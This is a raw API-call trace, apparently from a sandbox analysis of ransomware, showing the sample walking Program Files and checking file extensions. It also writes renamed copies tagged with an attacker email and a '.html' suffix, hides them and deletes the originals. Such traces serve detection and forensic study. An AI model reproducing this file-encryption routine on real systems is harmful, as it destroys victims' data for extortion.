	[0065.020] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0065.020] lstrlenW (lpString=".docx") returned 5
	[0065.020] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1
	[0065.021] lstrlenW (lpString=".pdf") returned 4
	[0065.021] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0065.021] lstrlenW (lpString=".xls") returned 4
	[0065.021] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0065.021] lstrlenW (lpString=".xlsx") returned 5
	[0065.021] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1
	[0065.021] lstrlenW (lpString=".ppt") returned 4
	[0065.021] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0065.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0065.021] lstrlenW (lpString=".zip") returned 4
	[0065.021] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0065.021] lstrlenW (lpString=".rar") returned 4
	[0065.021] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0065.021] lstrlenW (lpString=".bz2") returned 4
	[0065.021] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0065.021] lstrlenW (lpString=".7z") returned 3
	[0065.021] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0065.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0065.021] lstrlenW (lpString=".dbf") returned 4
	[0065.021] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0065.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0065.021] lstrlenW (lpString=".1cd") returned 4
	[0065.021] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1
	[0065.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0065.021] lstrlenW (lpString=".jpg") returned 4
	[0065.021] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1
	[0065.021] lstrcmpiW (lpString1=".inc", lpString2=".html") returned 1
	[0065.021] lstrlenW (lpString="adojavas.inc") returned 12
	[0065.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0065.026] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=14856) returned 1
	[0065.026] CloseHandle (hObject=0x328) returned 1
	[0065.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20
	[0065.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0065.027] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0065.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0065.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0065.027] lstrlenW (lpString=".doc") returned 4
	[0065.027] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0065.027] lstrlenW (lpString=".docx") returned 5
	[0065.027] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0065.027] lstrlenW (lpString=".pdf") returned 4
	[0065.027] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0065.027] lstrlenW (lpString=".xls") returned 4
	[0065.027] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0065.027] lstrlenW (lpString=".xlsx") returned 5
	[0065.027] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0065.027] lstrlenW (lpString=".ppt") returned 4
	[0065.027] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0065.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0065.027] lstrlenW (lpString=".zip") returned 4
	[0065.027] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0065.027] lstrlenW (lpString=".rar") returned 4
	[0065.027] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0065.027] lstrlenW (lpString=".bz2") returned 4
	[0065.027] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0065.027] lstrlenW (lpString=".7z") returned 3
	[0065.027] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0065.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0065.027] lstrlenW (lpString=".dbf") returned 4
	[0065.027] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0065.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0065.028] lstrlenW (lpString=".1cd") returned 4
	[0065.028] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0065.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0065.028] lstrlenW (lpString=".jpg") returned 4
	[0065.028] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0065.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0065.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0065.028] lstrlenW (lpString=".doc") returned 4
	[0065.028] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0065.028] lstrlenW (lpString=".docx") returned 5
	[0065.028] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0065.028] lstrlenW (lpString=".pdf") returned 4
	[0065.028] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0065.028] lstrlenW (lpString=".xls") returned 4
	[0065.028] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0065.028] lstrlenW (lpString=".xlsx") returned 5
	[0065.028] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0065.028] lstrlenW (lpString=".ppt") returned 4
	[0065.028] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0065.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0065.028] lstrlenW (lpString=".zip") returned 4
	[0065.028] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0065.028] lstrlenW (lpString=".rar") returned 4
	[0065.028] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0065.028] lstrlenW (lpString=".bz2") returned 4
	[0065.028] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0065.028] lstrlenW (lpString=".7z") returned 3
	[0065.028] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0065.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0065.028] lstrlenW (lpString=".dbf") returned 4
	[0065.028] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0065.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0065.029] lstrlenW (lpString=".1cd") returned 4
	[0065.029] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0065.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53
	[0065.029] lstrlenW (lpString=".jpg") returned 4
	[0065.029] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0065.029] lstrcmpiW (lpString1=".inc", lpString2=".html") returned 1
	[0065.029] lstrlenW (lpString="adovbs.inc") returned 10
	[0065.029] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0065.031] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=15195) returned 1
	[0065.031] CloseHandle (hObject=0x328) returned 1
	[0065.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20
	[0065.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0065.031] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0065.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0065.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0065.031] lstrlenW (lpString=".doc") returned 4
	[0065.031] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0065.031] lstrlenW (lpString=".docx") returned 5
	[0065.031] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0065.031] lstrlenW (lpString=".pdf") returned 4
	[0065.031] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0065.031] lstrlenW (lpString=".xls") returned 4
	[0065.032] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0065.032] lstrlenW (lpString=".xlsx") returned 5
	[0065.032] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0065.032] lstrlenW (lpString=".ppt") returned 4
	[0065.032] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0065.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0065.032] lstrlenW (lpString=".zip") returned 4
	[0065.032] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0065.032] lstrlenW (lpString=".rar") returned 4
	[0065.032] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0065.032] lstrlenW (lpString=".bz2") returned 4
	[0065.032] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0065.032] lstrlenW (lpString=".7z") returned 3
	[0065.032] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0065.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0065.032] lstrlenW (lpString=".dbf") returned 4
	[0065.032] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0065.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0065.032] lstrlenW (lpString=".1cd") returned 4
	[0065.032] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0065.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0065.032] lstrlenW (lpString=".jpg") returned 4
	[0065.032] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0065.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0065.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0065.032] lstrlenW (lpString=".doc") returned 4
	[0065.032] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0065.032] lstrlenW (lpString=".docx") returned 5
	[0065.032] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0065.032] lstrlenW (lpString=".pdf") returned 4
	[0065.032] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0065.032] lstrlenW (lpString=".xls") returned 4
	[0065.033] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0065.033] lstrlenW (lpString=".xlsx") returned 5
	[0065.033] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0065.033] lstrlenW (lpString=".ppt") returned 4
	[0065.033] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0065.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0065.033] lstrlenW (lpString=".zip") returned 4
	[0065.033] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0065.033] lstrlenW (lpString=".rar") returned 4
	[0065.033] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0065.033] lstrlenW (lpString=".bz2") returned 4
	[0065.033] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0065.033] lstrlenW (lpString=".7z") returned 3
	[0065.033] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0065.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0065.033] lstrlenW (lpString=".dbf") returned 4
	[0065.033] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0065.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0065.033] lstrlenW (lpString=".1cd") returned 4
	[0065.033] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0065.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0065.033] lstrlenW (lpString=".jpg") returned 4
	[0065.033] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0065.033] lstrcmpiW (lpString1=".inc", lpString2=".html") returned 1
	[0065.033] lstrlenW (lpString="adcjavas.inc") returned 12
	[0065.033] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0065.035] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=630) returned 1
	[0065.035] CloseHandle (hObject=0x328) returned 1
	[0065.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20
	[0065.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0065.035] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0065.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0065.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0065.035] lstrlenW (lpString=".doc") returned 4
	[0065.035] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0065.035] lstrlenW (lpString=".docx") returned 5
	[0065.035] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0065.035] lstrlenW (lpString=".pdf") returned 4
	[0065.035] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0065.035] lstrlenW (lpString=".xls") returned 4
	[0065.035] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0065.035] lstrlenW (lpString=".xlsx") returned 5
	[0065.035] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0065.035] lstrlenW (lpString=".ppt") returned 4
	[0065.036] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0065.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0065.036] lstrlenW (lpString=".zip") returned 4
	[0065.036] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0065.036] lstrlenW (lpString=".rar") returned 4
	[0065.036] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0065.036] lstrlenW (lpString=".bz2") returned 4
	[0065.036] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0065.036] lstrlenW (lpString=".7z") returned 3
	[0065.036] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0065.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0065.036] lstrlenW (lpString=".dbf") returned 4
	[0065.036] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0065.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0065.036] lstrlenW (lpString=".1cd") returned 4
	[0065.036] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0065.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0065.036] lstrlenW (lpString=".jpg") returned 4
	[0065.036] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0065.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0065.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0065.036] lstrlenW (lpString=".doc") returned 4
	[0065.036] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0065.036] lstrlenW (lpString=".docx") returned 5
	[0065.036] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0065.036] lstrlenW (lpString=".pdf") returned 4
	[0065.036] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0065.036] lstrlenW (lpString=".xls") returned 4
	[0065.036] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0065.036] lstrlenW (lpString=".xlsx") returned 5
	[0065.036] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0065.036] lstrlenW (lpString=".ppt") returned 4
	[0065.037] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0065.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0065.037] lstrlenW (lpString=".zip") returned 4
	[0065.037] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0065.037] lstrlenW (lpString=".rar") returned 4
	[0065.037] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0065.037] lstrlenW (lpString=".bz2") returned 4
	[0065.037] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0065.037] lstrlenW (lpString=".7z") returned 3
	[0065.037] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0065.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0065.037] lstrlenW (lpString=".dbf") returned 4
	[0065.037] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0065.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0065.037] lstrlenW (lpString=".1cd") returned 4
	[0065.037] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0065.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0065.037] lstrlenW (lpString=".jpg") returned 4
	[0065.037] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0065.037] lstrcmpiW (lpString1=".inc", lpString2=".html") returned 1
	[0065.037] lstrlenW (lpString="adcvbs.inc") returned 10
	[0065.037] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0065.038] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=623) returned 1
	[0065.038] CloseHandle (hObject=0x328) returned 1
	[0065.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20
	[0065.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0065.038] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0065.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0065.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0065.038] lstrlenW (lpString=".doc") returned 4
	[0065.038] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0065.038] lstrlenW (lpString=".docx") returned 5
	[0065.038] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0065.038] lstrlenW (lpString=".pdf") returned 4
	[0065.038] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0065.038] lstrlenW (lpString=".xls") returned 4
	[0065.038] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0065.038] lstrlenW (lpString=".xlsx") returned 5
	[0065.038] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0065.038] lstrlenW (lpString=".ppt") returned 4
	[0065.038] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0065.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0065.038] lstrlenW (lpString=".zip") returned 4
	[0065.038] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0065.038] lstrlenW (lpString=".rar") returned 4
	[0065.038] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0065.038] lstrlenW (lpString=".bz2") returned 4
	[0065.039] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0065.039] lstrlenW (lpString=".7z") returned 3
	[0065.039] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0065.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0065.039] lstrlenW (lpString=".dbf") returned 4
	[0065.039] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0065.040] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.040] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.041] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\desktop.ini.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0065.041] GetLastError () returned 0x0
	[0065.041] ReadFile (in: hFile=0x328, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0xae, lpOverlapped=0x0) returned 1
	[0065.042] WriteFile (in: hFile=0x338, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xb0, lpOverlapped=0x0) returned 1
	[0065.042] ReadFile (in: hFile=0x328, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.043] WriteFile (in: hFile=0x338, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xea, lpOverlapped=0x0) returned 1
	[0065.043] SetEndOfFile (hFile=0x338) returned 1
	[0065.043] CloseHandle (hObject=0x338) returned 1
	[0065.046] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.046] SetEndOfFile (hFile=0x328) returned 1
	[0065.047] CloseHandle (hObject=0x328) returned 1
	[0065.047] SetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x26) returned 1
	[0065.047] DeleteFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1
	[0065.048] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0065.048] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0065.048] lstrlenW (lpString=".doc") returned 4
	[0065.048] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0065.048] lstrlenW (lpString=".docx") returned 5
	[0065.048] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0065.048] lstrlenW (lpString=".pdf") returned 4
	[0065.048] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0065.048] lstrlenW (lpString=".xls") returned 4
	[0065.048] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0065.048] lstrlenW (lpString=".xlsx") returned 5
	[0065.048] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0065.048] lstrlenW (lpString=".ppt") returned 4
	[0065.048] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0065.048] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0065.048] lstrlenW (lpString=".zip") returned 4
	[0065.048] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0065.048] lstrlenW (lpString=".rar") returned 4
	[0065.048] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0065.048] lstrlenW (lpString=".bz2") returned 4
	[0065.048] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0065.048] lstrlenW (lpString=".7z") returned 3
	[0065.048] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0065.048] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0065.048] lstrlenW (lpString=".dbf") returned 4
	[0065.048] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0065.048] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0065.049] lstrlenW (lpString=".1cd") returned 4
	[0065.049] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0065.049] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0065.049] lstrlenW (lpString=".jpg") returned 4
	[0065.049] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0065.049] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0065.049] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0065.049] lstrlenW (lpString=".doc") returned 4
	[0065.049] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0065.049] lstrlenW (lpString=".docx") returned 5
	[0065.049] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0065.049] lstrlenW (lpString=".pdf") returned 4
